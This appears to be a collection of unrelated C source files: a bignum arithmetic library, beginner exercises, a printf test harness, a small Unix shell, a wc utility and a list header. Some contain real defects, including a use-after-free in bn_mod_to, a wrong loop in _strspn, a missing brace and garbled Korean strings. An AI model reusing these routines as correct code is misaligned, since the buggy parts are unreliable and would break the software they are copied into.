if (t->sign == 0 || right->sign == 0) {
t->sign = 0;
t->size = 1;
bn_realloc(t, t->size);
t->body[0] = 0;
t->body[1] = 0;
return 0;
}
bn* t2 = bn_new();
bn_realloc(t2, t->size + right->size);
t2->sign = t->sign * right->sign;
bn_realloc(t, t->size + right->size);
t2->size = t->size + right->size;
for (int i = 0; i < t->size; i++) {
for (int j = 0; j < right->size; j++) {
long temp = (long)t->body[i] * (long)right->body[j];
bn_add_long(t2, temp, i + j);
}
}
bn_copy(t, t2);
bn_delete(t2);
bn_normalize(t);
return 0;
}
int bn_short_mul(bn* t, int num) {
if (t->sign == 0 || num == 0) {
t->sign = 0;
t->size = 1;
bn_realloc(t, t->size);
t->body[0] = 0;
t->body[1] = 0;
return 0;
}
bn* t2 = bn_new();
t2->size = t->size + 1;
bn_realloc(t2, t2->size);
t2->sign = t->sign * (num > 0 ? 1 : -1);
bn_realloc(t, t->size + 1);
for (int i = 0; i < t->size; i++) {
long temp = (long)t->body[i] * (long)abs(num);
bn_add_long(t2, temp, i);
}
bn_copy(t, t2);
bn_delete(t2);
bn_normalize(t);
return 0;
}
bn* bn_mul(bn const* left, bn const* right) {
bn* t = bn_init(left);
bn_mul_to(t, right);
return t;
}
int bn_pow_to(bn* t, int degree) {
if (t->body[0] == 1 && t->size == 1) {
if (t->sign == -1 && degree % 2 == 0)
t->sign = 1;
return 0;
}
if (degree == 0) {
bn_init_int(t, 1);
return 0;
}
bn* temp = bn_new();
bn_copy(temp, t);
for (int i = 0; i < degree - 1; i++) {
bn_mul_to(t, temp);
}
bn_delete(temp);
return 0;
}
bn* bn_div(bn const* left, bn const* right) {
if (left == NULL || right == NULL)
return NULL;
if (right->sign == 0)
return NULL;
if (bn_cmp_abs(left, right) == -1)
return bn_new();
if (bn_cmp_abs(left, right) == 0) {
bn *ans = bn_new();
bn_init_int(ans, left->sign * right->sign);
return ans;
}
bn* ost = bn_init(left);
bn_abs(ost);
bn* des = bn_new();
bn* answer = bn_new();
bn *digit = bn_new();
int length = left->size > right->size ? left->size - right->size + 1 : 1;
int *ans = malloc(length * sizeof (int));
for (int i = 0; i < length; i++) ans[i] = 0;
int pos = 0;
while (bn_cmp_abs(ost, right) > 0) {
bn* compare = bn_new();
bn_init_int(des, base);
bn_pow_to(des, length - pos - 1);
int l = -1;
int s = 0;
int r = base;
while (r - l > 1) {
s = (int)((r + l) / 2);
bn_init_int(digit, s);
bn* temp = bn_mul(right, des);
bn_copy(compare, temp);
bn_delete(temp);
bn_mul_to(compare, digit);
if (bn_cmp_abs(ost, compare) > 0)
l = s;
else if (bn_cmp_abs(ost, compare) < 0)
r = s;
else {
l = s;
break;
}
}
bn_init_int(digit, l);
des->sign = right->sign;
bn* temp = bn_mul(right, des);
bn_copy(compare, temp);
bn_delete(temp);
bn_mul_to(compare, digit);
bn_sub_to(ost, compare);
bn_normalize(ost);
ans[pos] = l;
pos += 1;
bn_delete(compare);
}
answer->size = length;
bn_realloc(answer, length);
for (int i = 0; i < length; i++) {
answer->body[length - i - 1] = ans[i];
}
answer->sign = left->sign == right->sign ? 1 : -1;
bn_normalize(ost);
if (left->sign * right->sign < 0 && ost->sign != 0) bn_add_long(answer, 1, 0);
bn_normalize(answer);
free(ans);
bn_delete(ost);
bn_delete(des);
bn_delete(digit);
return answer;
}
int bn_short_div(bn* t, int del) {
if (t == NULL)
return BN_NULL_OBJECT;
if (del == 0)
return BN_DIVIDE_BY_ZERO;
bn_normalize(t);
long ost = 0;
for (int i = t->size - 1; i >= 0; i--) {
long temp = (long)t->body[i];
temp += base * ost;
t->body[i] = (int)(temp / del);
ost = (temp) % del;
}
t->sign = t->sign * (del > 0 ? 1 : -1);
bn_normalize(t);
return 0;
}
int bn_short_mod(bn* t, int del) {
if (t == NULL)
return BN_NULL_OBJECT;
if (del == 0)
return BN_DIVIDE_BY_ZERO;
bn_normalize(t);
long ost = 0;
for (int i = t->size - 1; i >= 0; i--) {
long temp = (long)t->body[i];
temp += base * ost;
t->body[i] = (int)(temp / del);
ost = (temp) % del;
}
return ost;
}
int bn_div_by_2(bn* t) {
if (t == NULL)
return BN_NULL_OBJECT;
bn_normalize(t);
long ost = 0;
for (int i = t->size - 1; i >= 0; i--) {
long temp = (long)t->body[i];
temp += base * ost;
t->body[i] = (int)(temp >> 1);
ost = (temp & 1);
}
bn_normalize(t);
return 0;
}
int bn_div_to(bn* t, bn const* right) {
if (t == NULL || right == NULL)
return BN_NULL_OBJECT;
if (right->sign == 0)
return BN_DIVIDE_BY_ZERO;
bn* temp = bn_div(t, right);
bn_copy(t, temp);
bn_delete(temp);
return 0;
}
bn* bn_mod(bn const* left, bn const* right) {
if (left == NULL || right == NULL)
return NULL;
if (right->sign == 0)
return NULL;
if (bn_cmp_abs(left, right) == -1) {
bn * temp = bn_new();
bn_copy(temp, left);
return temp;
}
if (bn_cmp_abs(left, right) == 0) {
bn *ans = bn_new();
return ans;
}
bn* ost = bn_init(left);
bn_abs(ost);
bn* des = bn_new();
bn *digit = bn_new();
int length = left->size > right->size ? left->size - right->size + 1 : 1;
int pos = 0;
while (bn_cmp_abs(ost, right) > 0) {
bn* compare = bn_new();
bn_init_int(des, base);
bn_pow_to(des, length - pos - 1);
int l = -1;
int s = 0;
int r = base;
while (r - l > 1) {
s = (int)((r + l) / 2);
bn_init_int(digit, s);
bn* temp = bn_mul(right, des);
bn_copy(compare, temp);
bn_delete(temp);
bn_mul_to(compare, digit);
if (bn_cmp_abs(ost, compare) > 0)
l = s;
else if (bn_cmp_abs(ost, compare) < 0)
r = s;
else {
l = s;
break;
}
}
bn_init_int(digit, l);
des->sign = right->sign;
bn* temp = bn_mul(right, des);
bn_copy(compare, temp);
bn_delete(temp);
bn_mul_to(compare, digit);
bn_sub_to(ost, compare);
bn_normalize(ost);
pos += 1;
bn_delete(compare);
}
bn_normalize(ost);
bn_delete(des);
bn_delete(digit);
if (right->sign * left->sign == 1){
ost->sign = right->sign;
return ost;
}
bn* temp = bn_init(right);
temp->sign = ost->sign * (-1);
bn_add_to(temp, ost);
temp->sign = right->sign;
bn_normalize(temp);
bn_delete(ost);
return temp;
}
int bn_mod_to(bn* t, bn const* right) {
if (t == NULL || right == NULL)
return BN_NULL_OBJECT;
if (right->sign == 0)
return BN_DIVIDE_BY_ZERO;
bn* temp = bn_mod(t, right);
bn_copy(t, temp);
bn_delete(t);
return 0;
}
int bn_root_to(bn* t, int reciprocal) {
int len = (int)(t->size/reciprocal);
bn* root;
bn* left = bn_new();
bn* right = bn_new();
bn* one = bn_new();
bn* temp = bn_new();
bn* delta;
bn_init_int(one, 1);
left->size = len < 2 ? 1: len - 1;
bn_realloc(left, left->size);
right->size = len + 1;
bn_realloc(right, right->size);
for (int i = 0; i < left->size; i++) {
left->body[i] = 0;
}
left->body[0] = 0;
for (int i = 0; i < right->size; i++) {
right->body[i] = base - 1;
}
right->sign = 1;
while (bn_cmp_abs(delta = bn_sub(right, left), one) != 0) {
bn_delete(delta);
root = bn_add(left, right);
//bn_short_div(root, 2);
bn_div_by_2(root);
bn_copy(temp, root);
bn_pow_to(temp, reciprocal);
if (bn_cmp(t, temp) >= 0) {
bn_copy(left, root);
} else {
bn_copy(right, root);
}
bn_delete(root);
}
bn_copy(t, left);
bn_delete(left);
bn_delete(right);
bn_delete(temp);
bn_delete(one);
bn_delete(delta);
return 0;
}
// Инициализировать значение BN представлением строки
// в системе счисления radix от 2 до 36
int bn_init_string_radix(bn *t, const char *init_string, int radix) {
int len = (int)strlen(init_string);
if (len == 0)
return BN_NULL_OBJECT;
t->size = 1;
bn_realloc(t, (len/9 + 1));
t->sign = 1;
t->body[0] = 0;
if (init_string[0] == '-') {
t->sign = -1;
init_string++;
}
int tmp = 0;
for (int i = 0; i < len; ++i) {
if (i > 0)
bn_short_mul(t, radix);
if (init_string[i] - '0' < 10 && init_string[i] >= '0') {
tmp = init_string[i] - '0';
} else {
tmp = init_string[i] - 'A' + 10;
}
bn_add_long(t, tmp, 0);
}
bn_normalize(t);
if (t->body[0] == 0 && t->size == 1)
t->sign = 0;
return 0;
}
const char* bn_to_string(bn const* t, int radix) {
if (t == NULL)
return NULL;
if (t->body == NULL)
return NULL;
char *c = malloc(sizeof(char) * t->size * 9 * 5);
if (c == NULL)
return NULL;
int i = 0;
c[i++] = '\0';
bn* copy = bn_init(t);
while ((copy->size > 1) || (copy->body[0] > 0)) {
c[i++] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"[bn_short_mod(copy, radix)];
}
char temp;
if (t->sign == -1)
c[i++] = '-';
for (int j = 0; j < i/2; j++) {
temp = c[j];
c[j] = c[i - j - 1];
c[i - j - 1] = temp;
}
if (c[0] == 0) {
c[0] = '0';
c[1] = '\0';
}
bn_delete(copy);
return c;
}
//int main() {
// bn* a = bn_new();
// bn* b = bn_new();
// bn* c;
// bn_input(a);
// int s = 0;
// s = getchar();
// getchar();
// bn_input(b);
// if (s == '/') {
// c = bn_div(a, b);
// }
// if (c->sign == -1) printf("-");
// printf("%d", c->body[c->size - 1]);
// for (int i = 1; i < c->size; i++) {
// printf("%09d", c->body[c->size - i - 1]);
// }
// bn_delete(c);
// bn_delete(a);
// bn_delete(b);
// return 0;
//}
|
C
|
#include <stdio.h>
int main() {
int a;
printf ("1~4 ߿ ϼ :");
scanf("%d", &a);
switch (a) {
case 1 :
printf ("1 ߴ \n");
break;
case 2 :
printf ("2 ߴ \n");
break;
case 3 :
printf ("3 ߴ \n");
break;
case 4 :
printf ("4 ߴ \n");
break;
}
}
|
C
|
#include<stdio.h>
#include<string.h>
void InvertString (char(userInput[50])){
int i;
int largo = strlen(userInput)-1;
for(i=largo; i>=0; i--){
printf("%c %c", userInput[i],userInput[largo-i]);
if(userInput[i]==userInput[largo-i]){
printf("%i\n",1);
}else printf("%i\n",0);
}
}
int main(void) {
char userInput[50];
scanf("%s", &userInput);
InvertString(userInput);
return 0;
|
C
|
#include<stdio.h>
int main(){
int i=2,z,j=0;
z=16;
while(i<z){
if(z%i==0){
printf("%d is Not Prime. beacuse of %d.\n",z,i);
break;
}
else{
j=j+1;
}
i++;
}
if(j>1){
printf("Its Prime.\n");
}
}
|
C
|
/* -*- indent-tabs-mode: nil -*-
*
* printf_base - base function to make printf-like functions
* https://github.com/kubo/printf_base
*
* Copyright (C) 2016 Kubo Takehiro <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
* IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* The views and conclusions contained in the software and documentation
* are those of the authors and should not be interpreted as representing
* official policies, either expressed or implied, of the authors.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "pfb_asprintf.h"
static int check_cnt = 0;
static int error_cnt = 0;
#define CHECK(expect, ...) do { \
char *result; \
pfb_asprintf(&result, __VA_ARGS__); \
if (strcmp(expect, result) != 0) { \
printf("line:%d expect \"%s\" but \"%s\"\n", __LINE__, expect, result); \
error_cnt++; \
} \
free(result); \
check_cnt++; \
} while (0)
int main()
{
CHECK("123.456000", "%f", 123.456);
CHECK("123", "%.0f", 123.456);
CHECK("123.5", "%.1f", 123.456);
CHECK("123.46", "%.2f", 123.456);
CHECK("123.456", "%.3f", 123.456);
CHECK("123.456", "%.*f", 3, 123.456);
CHECK(" 123.456000", "%12f", 123.456);
CHECK("123.456000 ", "%-12f", 123.456);
CHECK(" 123.456000", "%*f", 12, 123.456);
CHECK("123.456000 ", "%*f", -12, 123.456);
CHECK("123.456000 ", "%-*f", 12, 123.456);
CHECK(" 123.46", "%12.2f", 123.456);
CHECK(" 123.46", "%*.*f", 12, 2, 123.456);
CHECK(" 123.456000", "% f", 123.456);
CHECK("+123.456000", "%+f", 123.456);
CHECK("1234567890", "%s", "1234567890");
CHECK("1234567890", "%5s", "1234567890");
CHECK("1234567890", "%-5s", "1234567890");
CHECK(" 1234567890", "%12s", "1234567890");
CHECK("1234567890 ", "%-12s", "1234567890");
CHECK("12345", "%.5s", "1234567890");
CHECK("1234567890", "%.12s", "1234567890");
CHECK("1234567890", "%*s", 5, "1234567890");
CHECK("1234567890", "%*s", -5, "1234567890");
CHECK("1234567890", "%-*s", 5, "1234567890");
CHECK(" 1234567890", "%*s", 12, "1234567890");
CHECK("1234567890 ", "%*s", -12, "1234567890");
CHECK("1234567890 ", "%-*s", 12, "1234567890");
CHECK("12345", "%.*s", 5, "1234567890");
CHECK("1234567890", "%.*s", 12, "1234567890");
switch (error_cnt) {
case 0:
printf("All %d tests were passed!\n", check_cnt);
return 0;
case 1:
printf("One test in %d was failed\n", check_cnt);
return 1;
default:
printf("%d tests in %d were failed\n", error_cnt, check_cnt);
return 1;
}
}
|
C
|
//考察静态局部变量的值
#include<stdio.h>
int main()
{
int f(int); //函数声明
int a=2,i; //自动局部变量
for(i=0;i<3;i++)
printf("%d\n",f(a)); //输出f(a)的值
return 0;
}
int f(int a)
{
auto int b=0; //自动局部变量
static int c=3; //静态局部变量
b=b+1;
c=c+1;
return(a+b+c);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int main(void)
{
pid_t pid = fork();
printf("Parent: %d\n", getpid());
if (pid < 0)
{
printf("process creation faild.\n");
return 1;
}
else if (pid == 0)
{
// child task
printf("Parent: %d\n", getpid());
// replace existing process with a new one in ben l
execl("/bin/ls", NULL);
}
else
{
// wait for the child to finish
wait(NULL);
printf("Child done.\n");
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
int main() {
pid_t pid;
if ((pid = fork()) == 0) {
pause();
printf("control should never be here!\n");
exit(0);
}
kill(pid, SIGKILL);
exit(0);
}
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include "MD5Queue.h"
int main()
{
SumQueue sumQ;
MD5Sum buff = {0, 0};
sumsInit(&sumQ);
printf("1: ");
scanf("%llx", &buff.a);
scanf("%llx", &buff.b);
sumsPush(&sumQ, buff);
printf("2: ");
scanf("%llx", &buff.a);
scanf("%llx", &buff.b);
sumsPush(&sumQ, buff);
printf("3: ");
scanf("%llx", &buff.a);
scanf("%llx", &buff.b);
sumsPush(&sumQ, buff);
printf("\n");
while(!sumsEmpty(&sumQ))
{
buff = sumsPop(&sumQ);
printf("%llx%llx\n", buff.a, buff.b);
}
}
|
C
|
/*
** str_to_wordtab.c for string to wordtab in /home/binary/CPE_2016_stumper3/src/str_to_wordtab
**
** Made by Laroche Achille
** Login <[email protected]>
**
** Started on Thu May 4 16:07:16 2017 Laroche Achille
** Last update Thu May 11 18:05:09 2017 Laroche Achille
*/
#include "nfs.h"
char *grabstr(char *str, int seplvl, int i, char c)
{
int y;
y = 0;
char *new;
while (i < seplvl)
{
if (str[y] == c)
i++;
y++;
}
i = 0;
while (str[i] != c)
i++;
new = malloc(sizeof(char) * (i + 1));
i = 0;
while (str[y] != c && str[y])
{
new[i] = str[y];
i++;
y++;
}
new[i] = 0;
return (new);
}
char **wordtab(char *str, char c)
{
int i;
int y;
char **new;
i = 1;
y = 0;
if (!str)
return (NULL);
while (str[y])
{
if (str[y] == c)
i++;
y++;
}
if ((new = malloc(sizeof(char*) * (i + 1))) == NULL)
return (NULL);
y = 0;
while (y < i)
{
new[y] = grabstr(str, y, 0, c);
y++;
}
new[y] = NULL;
return (new);
}
|
C
|
#include <stdio.h>
/**
*print_name -main entry.
*@name:char pointer
*@f: pointer to a function
*Description:Function that prints a string in reverse.
* Return:void
**/
void print_name(char *name, void (*f)(char *))
{
if (name != NULL && f != NULL)
(*f)(name);
}
|
C
|
#include <stdio.h>
#include <math.h>
int
main()
{
int i, j;
float original_value, a1, a2, b1, b2;
for (i=11; i<100; i++)
if (i%10 != 0)
for (j=i+1; j<100; j++)
if (j%10 != 0 && i!=j)
{
original_value = i*1.0/j;
a1 = (i/10)*1.0; a2 = 1.0*(i%10);
b1 = (j/10)*1.0; b2 = 1.0*(j%10);
if (a1==a2 && b1==b2)
continue;
if (fabs(original_value-a1/b1)<1e-6 && fabs(a2-b2)<1e-6
|| fabs(original_value-a1/b2)<1e-6 && fabs(a2-b1)<1e-6
|| fabs(original_value-a2/b1)<1e-6 && fabs(a1-b2)<1e-6
|| fabs(original_value-a2/b2)<1e-6 && fabs(a1-b1)<1e-6)
printf("%d/%d %f\n", i, j, original_value);
}
return 0;
}
|
C
|
#include"double_link.h"
#include<stdlib.h>
#include<stdio.h>
#define item int
void traverse(node *head)
{
while(head!=NULL)
{
printf("%d\t",head->data);
head=head->next;
}
}
int main()
{
node *head=NULL, *rear=NULL;
addrear(&head,&rear,12);
addrear(&head,&rear,13);
addrear(&head,&rear,14);
addrear(&head,&rear,15);
traverse(head);
printf("\n");
addfront(&head,&rear,6);
traverse(head);
delfront(&rear,&head);
printf("\n");
traverse(head);
delrear(&rear,&head);
printf("\n");
traverse(head);
return 0;
}
|
C
|
#include<stdio.h>
int main()
{
int a,b,sum=0,c;
printf("\nEnter a number:");
scanf("%d",&a);
b = a;
while (a!= 0)
{
c = a % 10;
sum = sum + (c*c*c);
a = a / 10;
}
if(b == sum)
printf("\n%d is an Armstrong Number",b);
else
printf("\n%d is not an Armstrong Number",b);
return(0);
}
|
C
|
/*
wc - count lines, words, characters in file
23-Nov-83
25-Nov-83 use expargs
*/
#include <stdio.h>
typedef unsigned nat;
typedef nat LONG[2];
#define YES 1
#define NO 0
#define MAXFILE 100
#pragma nonrec
char helpmsg[] =
"wc ver 1.0\n\
usage:\twc [-fh] [inputfiles]\r";
LONG nl, nw, nc, tnl, tnw, tnc;
VOID zerolong(n)
LONG n;
{
n[0] = n[1] = 0;
}
VOID inclong(n)
LONG n;
{
if(++n[0] >= 10000) {
n[0] = 0;
++n[1];
}
}
VOID putlong(n)
LONG n;
{
if(n[1] != 0) {
printf("%5u", n[1]);
printf("%04u", n[0]);
} else
printf("%9u", n[0]);
}
VOID count(fp)
FILE *fp;
{
int c;
BOOL inword;
inword = NO;
zerolong(nc); zerolong(nw); zerolong(nl);
while((c = getc(fp)) != EOF) {
inclong(nc);
inclong(tnc);
if(c == '\n') {
sensebrk();
inclong(nl);
inclong(tnl);
}
if(c == ' ' || c == '\n' || c == '\t')
inword = NO;
else if(inword == NO) {
inword = YES;
inclong(nw);
inclong(tnw);
}
}
}
VOID main(argc, argv)
nat argc;
char *argv[];
{
static char *xargv[MAXFILE];
FILE *fp;
char *p;
nat i, xargc;
BOOL prteach;
prteach = YES;
while(argv++, argc--, argc != 0 && argv[0][0] == '-')
for(p = &argv[0][1]; *p; p++)
switch(*p) {
case 'F':
prteach = NO;
break;
case 'H':
fprintf(stderr, helpmsg);
exit(1);
default:
fprintf(stderr, "bad option: -%c\r", *p);
exit(1);
}
zerolong(tnc); zerolong(tnw); zerolong(tnl);
if(argc == 0)
count(stdin);
else {
if( (xargc = expargs(argc, argv, MAXFILE, xargv)) == ERROR ) {
fprintf(stderr, "too many files\r");
exit(1);
}
if(xargc < 2)
prteach = NO;
for(i = 0; i < xargc; i++) {
if( (fp = fopen(xargv[i], "r")) == NULL ) {
fprintf(stderr, "can't open: %s\r", xargv[i]);
exit(1);
}
count(fp);
if(prteach) {
putlong(nl);
putlong(nw);
putlong(nc);
printf("\t%s\n", xargv[i]);
}
fclose(fp);
}
}
putlong(tnl);
putlong(tnw);
putlong(tnc);
puts("\n");
}
|
C
|
#include <unistd.h>
#include "csapp.h"
#include <sys/types.h>
#include <sys/wait.h>
#define MAXARGS 128
/* Function protypes */
void eval(char *cmdline);
int parseline(char *buf, char **argv, char **cmd1, char **cmd2, int *semi);
int builtin_command(char **argv);
void sigint_handler(int sig);
void sigint_handlerZ(int sig);
int main(){
char cmdline[MAXLINE];
while(1){
printf("CS361> ");
fgets(cmdline, MAXLINE, stdin);
if(feof(stdin)){
exit(0);
}
//Intall the SIGINT handler
if(signal(SIGINT, sigint_handler) == SIG_ERR){
unix_error("signal error");
}
if(signal(SIGTSTP, sigint_handlerZ) == SIG_ERR){
unix_error("signal erro Z");
}
else{
//Evaluate
eval(cmdline);
}
}
}
/* eval - Evaluate a command line */
void eval(char *cmdline){
char *argv[MAXARGS];
char buf[MAXLINE];
int bg;
pid_t pid;
pid_t pid1;
pid_t pid2;
char *cmd1[MAXARGS/2];
char *cmd2[MAXARGS/2];
int pipefd[2];
pipe(pipefd);
int semi=0;
strcpy(buf, cmdline);
bg = parseline(buf, argv, cmd1, cmd2, &semi);
if(argv[0] == NULL){
return; //Ignore empty lines
}
if(!builtin_command(argv)){
//printf("cmd1: %s cmd2: %s\n", cmd1[0],cmd2[0]);
//printf("semicolon: %d\n", semi);
//Handles command piping
//
if(cmd1[0] != NULL && cmd2[0] != NULL && semi == 0){
if((pid1 = fork()) == 0){
close(pipefd[0]);
dup2(pipefd[1], 1);
if(execvp(cmd1[0], cmd1) < 0){
printf("%s: Command not found. \n", cmd1[0]);
exit(0);
}
}
else{
if((pid2 = fork()) == 0){
close(pipefd[1]);
dup2(pipefd[0], 0);
if(execvp(cmd2[0], cmd2) < 0){
printf("%s: Command not found. \n", cmd2[0]);
exit(0);
}
}
}
int stat;
if(waitpid(pid1, &stat, 0)<0){
unix_error("waitfg: waitpid error");
}
printf("pid:%d status:%d\n", pid1, stat);
close(pipefd[1]);
int stat2;
if(waitpid(pid2, &stat2, 0)<0){
unix_error("waitfg:(2) waitpis error");
}
printf("pid:%d status:%d\n", pid2, stat2);
return;
}
//handles semicolon seperated sommands
if(cmd1[0] != NULL && cmd2[0] != NULL && semi == 1){
if((pid1 = fork()) == 0){
close(pipefd[0]);
dup2(pipefd[1],1);
if(execvp(cmd1[0], cmd1) < 0){
printf("%s: Command not found.\n", cmd1[0]);
exit(0);
}
}
else{
int stat;
if(waitpid(pid1, &stat, 0) < 0){
unix_error("waitfg-semi: waitpid error");
}
printf("pid:%d status:%d\n", pid1, stat);
if((pid2 = fork()) == 0){
close(pipefd[1]);
dup2(pipefd[0],0);
if(execvp(cmd2[0], cmd2) < 0){
printf("%s: Command not found.\n", cmd2[0]);
exit(0);
}
}
close(pipefd[1]);
int stat2;
if(waitpid(pid2, &stat2, 0) < 0){
unix_error("waitpid-semi: waitpid2 error");
}
printf("pid:%d status:%d\n", pid2, stat2);
}
return;
}
//handles single command
else {
if((pid = fork()) == 0){ /* Child runs user job */
if(execvp(argv[0], argv) < 0){
printf("%s: Command not found.\n", argv[0]);
exit(0);
}
}
//}
/* Parent waits for foreground job to terminate */
if(!bg){
int status;
if(waitpid(pid, &status, 0)<0){
unix_error("waitfg: waitpid error");
}
printf("pid:%d status:%d\n", pid, status);
}
else{
printf("%d %s", pid, cmdline);
}
}
}
return;
}
/* If first arg is builtin command, run it and return true */
int builtin_command(char **argv){
if(!strcmp(argv[0], "exit")){
exit(0);
}
if(!strcmp(argv[0], "&")){
return 1;
}
return 0;
}
/*parseline - Parse the command line and build the argv array */
int parseline(char *buf, char **argv, char **cmd1, char **cmd2, int *semi){
char *delim; //Points to first space delimeter
int argc; // number of args
int bg; // background job?
int cmd1c;
int cmd2c;
buf[strlen(buf)-1] = ' ';
while(*buf && (*buf == ' ')){
buf++;
}
/* Build the argv list */
argc = 0;
cmd1c = 0;
cmd2c =0;
int found = 0;
while ((delim = strchr(buf, ' '))){
//printf("found %d\n", found);
if(*buf == ';'){
*semi = 1;
}
if(*buf == '|' || *buf == ';'){
found = 1;
*delim = '\0';
buf = delim + 1;
if(*buf && (*buf == ' ')){
buf++;
}
continue;
}
if(found == 0){
cmd1[cmd1c++] = buf;
argv[argc++] = buf;
*delim = '\0';
buf = delim + 1;
}
else if(found == 1){
cmd2[cmd2c++] = buf;
argv[argc++] = buf;
*delim = '\0';
buf = delim + 1;
}
//else if {
// argv[argc++] = buf;
//}
//*delim = '\0';
//buf = delim + 1;
while(*buf && (*buf == ' ')){ /*ignore white spaces*/
buf++;
}
}
argv[argc] = NULL;
cmd1[cmd1c] = NULL;
cmd2[cmd2c] = NULL;
//ignore blank line
if(argc == 0){
return 1;
}
/* Should the job run in the backgrounf? */
if ((bg = (*argv[argc-1] == '&')) != 0){
argv[--argc] = NULL;
}
return bg;
}
// SIGINT handler
void sigint_handler(int sig){
printf("\ncaught SIGINT!\n");
// exit(0);
}
// SIGTSTP handler
void sigint_handlerZ(int sig){
printf("\ncaught sigtstp\n");
}
//From csapp.c
void unix_error(char *msg) /* Unix-style error */
{
fprintf(stderr, "%s: %s\n", msg, strerror(errno));
exit(0);
}
|
C
|
/*
Write a program to find the nth smallest element from a collection.
Input format:
* The first input contains the input X ,used to define the size of the array
* The second input contains X unsorted integers seperated by a newline , i.e. A[i]
* The third input contains the value of N, to find the Nth smallest element
Output format:
* The output should be a integer value, the Nth smallest element in the array
* Constriants: 1 <= X <= 10 1 <= A[i] <= 1000 1<= N <= X
*/
#include<stdio.h>
#include<stdlib.h>
// declaring nth_smallest function to find the nth smalles element
void nth_smallest(int, int *,int);
int main()
{
// X: size of the array,A: pointer to an array, N: Nth smallest element
int X, *A, N;
// input size of array
scanf("%d",&X);
// dynmically allocating memory for array
A = (int*)malloc(X * sizeof(int));
// input X unsorted integers
for(int i=0; i<X; i++)
scanf("%d",&A[i]);
// input N
scanf("%d",&N);
nth_smallest(X,A,N);
return 0;
}
// compare function, compares two elements
int compare (const void * num1, const void * num2) {
if(*(int*)num1 > *(int*)num2)
return 1;
else
return -1;
}
// function definition for nth_smallest
/*
Strategy: sort the array and output the Nth element from the beginning of the array
*/
void nth_smallest(int X, int A[], int N)
{
// sorting using inbuilt quicksort, qsort function
qsort(A,X,sizeof(int),compare);
printf("%d",A[N-1]);
}
|
C
|
/*******************************************************************************
* Copyright (c) 2017 fortiss GmbH.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v2.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v20.html
*
* Contributors:
* Florian Hoelzl - initial API and implementation
* Constantin Dresel - added destroy_list and other functions
*******************************************************************************/
#ifndef INC_LISTUTIL_H_
#define INC_LISTUTIL_H_
#include "stdbool.h"
typedef struct list list_t;
typedef struct list_iterator list_iterator_t;
/** Creates a new list with the given element size. */
list_t* list_util_create_list();
/** Frees the memory occupied by the given list. */
void list_util_destroy_list(list_t* list);
/** Appends the given element to the end of the list. */
void list_util_append(list_t* list, void* element);
/** Prepends the given element to the begin of the list. */
void list_util_prepend(list_t* list, void* element);
/** Removes and returns the first element in the list. */
void* list_util_remove_first(list_t* list);
/** Removes and returns the last element in the list. */
void* list_util_remove_last(list_t* list);
bool list_util_is_empty(list_t* list);
/** Creates a list iterator for the given list starting at the head or tail. */
list_iterator_t* list_util_iterator(list_t* list, bool forward);
/** Resets the iterator to the beginning or the end of its list. */
void list_util_iterator_reset(list_iterator_t* iter, bool start);
/** Checks whether the given iterator has a next element during forward iteration. */
bool list_util_iterator_has_next(list_iterator_t* iter);
/** Returns the next element during forward iteration and advances the iterator forward. */
void* list_util_iterator_next(list_iterator_t* iter);
/** Returns the current element during iteration without advancing the iterator.
* */
void* list_util_iterator_current(list_iterator_t* iter);
/** Checks whether the given iterator has a previous element during backward iteration. */
bool list_util_iterator_has_previous(list_iterator_t* iter);
/** Returns the previous element during backward iteration and advances the iterator backward. */
void* list_util_iterator_previous(list_iterator_t* iter);
/** Destroys the iterator when it is no longer needed. */
void list_util_iterator_destroy(list_iterator_t* iter);
/** Removes and returns the specified element in the list. */
void* list_util_remove_element(list_iterator_t* list_iterator);
#endif /* INC_LISTUTIL_H_ */
|
C
|
#include "holberton.h"
/**
*
*
*
*
*/
unsigned int _strspn(char *s, char *accept)
{
unsigned int ret = 0;
int i = 0, j = 0, flag = 0;
for (i = 0; s[i] != '\0'; i++)
{
for (j = 0; s[j] != '\0'; j++)
{
if(s[i] == accept[j])
{
ret++;
flag = 1;
}
}
if(flag == 0)
{
break;
}
}
return (ret);
}
|
C
|
#include <stdio.h>
int fib(int n)
{
if (n<=1) return n;
return fib(n-2) + fib(n-1);
}
int main()
{
int num1;
scanf("%d", &num1);
printf("%d\n", fib(num1));
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_split.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: haristot <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/11/23 17:10:53 by haristot #+# #+# */
/* Updated: 2021/02/21 02:03:26 by haristot ### ########.fr */
/* */
/* ************************************************************************** */
#include "libft.h"
static int ft_words(char const *s, char c)
{
unsigned int i;
